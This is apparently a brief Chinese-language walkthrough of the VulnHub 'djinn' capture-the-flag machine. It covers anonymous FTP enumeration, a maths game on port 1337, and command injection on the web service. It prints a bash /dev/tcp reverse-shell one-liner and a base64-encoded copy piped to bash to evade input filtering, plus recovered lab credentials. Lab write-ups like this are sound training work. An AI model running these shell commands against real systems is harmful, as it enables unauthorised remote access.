vulnhub >_ djinn
Published on 09 Nov 2020
djinn
匿名登录ftp,下载所有文件
得到3个线索
nitu:81299
@nitish81299
1337端口有一个游戏
连接被重置。试一下命令行
nc 192.168.43.251 1337
需要回答1000次??看样需要一个脚本。
看来只是随机的数学题,做1000次,脚本需要得到题面之后计算。先试试其他。
一个http
正常测试
虽然命令回显的是403页面,但显然,命令是被执行的。
bash -i >& /dev/tcp/192.168.43.66/1338 0>&1
显然,由于一些限制,命令不能被执行,应该是限制了一些字符或命令。我们可以使用base64对命令进行编码。在注入后通过base64解码再传入bash来执行
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjY2LzEzMzggMD4mMQo= | base64 -d | bash
nitish:p4ssw0rdStr3r0n9
尝试了很多命令组合,都无法让这个程序达成任何合适的状态
查阅了提示。需要看一下手册。
man /usr/bin/genie | less
这个有点过分。。。
显然又是一个。
在用户目录下发现了这个python脚本的编译后的文件
python有一个uncompyle6可以帮助我们还原.pyc的代码https://pypi.org/project/uncompyle6/